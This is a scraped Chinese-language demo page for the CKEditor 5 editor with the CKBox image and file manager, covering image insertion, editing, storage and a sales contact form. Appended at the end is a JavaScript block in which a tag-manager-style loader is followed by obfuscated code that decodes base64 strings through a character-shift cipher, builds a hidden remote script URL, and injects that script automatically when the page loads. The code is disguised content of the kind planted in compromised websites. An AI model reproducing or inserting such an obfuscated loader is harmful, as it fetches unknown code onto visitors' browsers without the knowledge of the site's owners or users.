CKBox 演示 - CKEditor 编辑器

查看所有演示

正在加载...

正在加载...

欢迎使用 CKEditor 5 + CKBox

体验 CKEditor 5 与 CKBox 结合的强大功能，提供无与伦比的图像管理、编辑和文件存储便利性。

无缝图像插入

打开 CKBox：首先点击第一个工具栏按钮打开 CKBox ，这是您通往庞大图像库的大门。
选择并插入图像：浏览 CKBox，选择完美的图像。点击“选择”按钮将其直接插入您的 CKEditor 内容。
拖放上传：要更快地操作，只需将图像拖放到 CKEditor 中，即可立即上传。

高级图像编辑功能

编辑：选择图像，然后编辑（图标）。直接从编辑器中调整大小、裁剪和旋转，确保每次都完美放置。
可自定义样式：应用各种预设来根据社交媒体标准格式化您的图像。

CKBox

高效的文件存储和管理

文件存储：将您的文件存储在 CKBox 中，然后在编辑器中链接它们，请查看下面的示例

想了解更多关于 CKBox 的信息吗？

管理面板

CKBox 配备了一个管理面板，但在此演示中并未展示。

CKBox 集成

了解如何配置 CKBox 并将其集成到您的应用程序中。

CKBox 主题

多个 CSS 变量可以让您控制整个应用程序的颜色调色板。

受信任并经批准

您好，您对产品或定价有任何疑问吗？

您对我们的产品或定价有任何疑问吗？

联系我们的销售代表。

我们很乐意
收到您的来信!

感谢您联系 CKEditor 销售团队。我们已收到您的消息，并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });